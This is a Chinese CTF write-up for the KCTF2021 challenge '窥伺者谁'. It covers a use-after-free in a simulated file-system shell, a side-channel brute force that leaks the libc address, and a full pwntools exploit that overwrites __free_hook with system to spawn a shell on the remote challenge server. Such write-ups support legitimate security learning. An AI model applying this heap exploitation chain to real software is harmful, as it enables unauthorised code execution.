首页
论坛
课程
招聘
[原创]KCTF2021秋季赛 窥伺者谁
2021-11-30 14:17 11873

[原创]KCTF2021秋季赛 窥伺者谁

2021-11-30 14:17
11873

[第六题 窥伺者谁]

程序大概就是模拟实现了一个文件系统,然后还提供了shell来管理

 

ls,pwd,cd,mkdir,touth,echo,rm这些功能可以使用

 

对于文件,有子节点,父节点,filename,文件内容等等属性,以0标识文件夹,1标识普通文件

 

恢复出的结构体大致如下:

1
2
3
4
5
6
7
8
file            struc ; (sizeof=0xA8, mappedto_8)
00000000 type            dq ?
00000008 parent          dq ?                    ; offset
00000010 child           dq 16 dup(?)            ; offset
00000090 filename        dq ?
00000098 content         dq ?
000000A0 size            dq ?
000000A8 file            ends

漏洞点主要发生在以下这个地方:

 

image-20211130132750819

 

func_rm中,此处free过后,并未将content指针清0,也没有对该文件进行unlink处理,因此content堆块被free后仍然可以对其进行echorm,也就形成了uaf

 

那么触发条件呢?往上看,当该文件的上级目录不等于当前目录(cwd)时,就能触发这一漏洞,即rm("../file")

 

image-20211130134426707

 

有了uaf,我们继续往下看

 

此时的我们并不知道任何地址,程序并未提供cat功能,在能输出堆块内容的两个函数,pwdls中,都对输出的内容进行了检查,这使得貌似难以泄露堆块上的地址信息:

 

除此之外,程序全程都使用write函数进行输出,打到stdout来泄露貌似也不太行

 

现在我还不知道官方的做法会是怎样,我的做法是通过类似侧信道的验证方式,来逐个字节爆破libc的地址信息

 

可以关注到rm函数中:

 

image-20211130134103055

 

如果我们把一个文件的filename指针修改成一个写有libc地址信息的地方呢?

 

结果将是,此时的文件名虽然非法,但只要我们不去调用ls,就不会触发check,其他功能也仍然可以正常使用

 

那么思路就很清晰了:

 

1.创建一个file,不要给这个file写入内容

 

2.将这个filefilename指针修改为指向libc地址信息,如指向某个unsorted bin

 

3.不断修改filename指针,并通过多次rm("../payload")的方式,从后往前逐个字节爆破libc地址信息

 

4.验证方式为,当结果错误时,会返回"no such file or dir\n"的结果,当正确时,由于content指针为空,所以相当于无事发生

 

5.libc地址的第一个字节大概率为"\x7f",而最后一个字节也确定,倒数第二个字节能确定一半,这样计算下来,最坏情况下爆破次数大概在1000次左右

 

6.得到libc地址之后就是正常思路了,利用uaf,把system写到free_hook

 

这样的办法在本地是可以畅通无阻的,但是远端的情况就比较不如人意了,成功率很低

 

幸运的是多跑几次总算成功了,后面关注一下官方wp看看官方的做法

 

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
context.log_level='debug'
local=0
if local:
    sh=process('./pwn')
else:
    sh=remote("101.35.172.231",10000)
libc=ELF('./libc.so.6')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
def debug():
    gdb.attach(sh)
    pause()
def mkdir(dirname):
    sla("$ ","mkdir")
    sla("name> ",dirname)
def touch(filename):
    sla("$ ","touch")
    sla("filename> ",filename)
def cd(path):
    sla("$ ","cd")
    sla("path> ",path)
def echo(path,content):
    sla("$ ","echo")
    sla("arg> ",content)
    sla("redirect?> ","y")
    sla("path> ",path)
def rm(filename):
    sla("$ ","rm")
    sla("filename> ",filename)
def touch(filename):
    sla("$ ","touch")
    sla("filename> ",filename)
mkdir("test1")
touch("file1")
touch("file2")
touch("file3")
 
echo("file2","a"*0x60)
echo("file1","a"*0x80)
 
touch("file4")
echo("file3",'a'*0x420)
touch("file5")
touch("file6")
touch("file7")
touch("file8")
touch("file9")
touch("file10")
touch("file11")
touch("file12")
 
cd("test1")
touch("success1")
touch("success2")
 
for i in range(8):
    rm("../file1")
 
cd("..")
 
echo("file5",'a')
echo("file6",'a')
echo("file9",'a'*0x40)
cd("test1")
rm("../file6")
rm("../file5")
cd("..")
 
echo("file5","\xf0\x0d")
echo("file7",'\x00'*0x80)
echo("file8","\x00"*0x80+"\xc5\x0d")
 
cd("test1")
rm("../file3")
 
cd("..")
 
# echo("file11","\x0d")
cd("test1")
# debug()
addr="\x7f"
 
for i in range(4):
    cd("..")
    echo("file8","\x00"*0x80+p8(0xc4-i))
    cd("test1")
    j = 1
    while(j<256):
        if j == 10:
            j+=1
            continue
        payload="../"+p8(j)+addr[::-1]
        rm(payload)   
        data=ru("ch3cke")
        if "no such" in data:
            j+=1
            continue
        else:
            addr+=p8(j)
            j=257
            print(addr)
addr+="\xa0"
print(len(addr))
main_arena=u64(addr[::-1].ljust(8,"\x00"))
leak("main_arena",main_arena)
libc_base=main_arena-0x3ebca0
system=libc_base+libc.sym['system']
free_hook=libc_base+libc.sym['__free_hook']
 
cd("..")
echo("file10","a"*0x30)
echo("file11","a"*0x30)
 
cd("test1")
rm("../file10")
rm("../file11")
cd("..")
echo("file11",p64(free_hook))
cd("test1")
echo("success1","/bin/sh\x00".ljust(0x30,'a'))
cd("..")
echo("file12",p64(system).ljust(0x30,'\x00'))
cd("test1")
rm("success1")
ti()

【公告】 讲师招募 | 全新“预付费”模式,不想来试试吗?

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回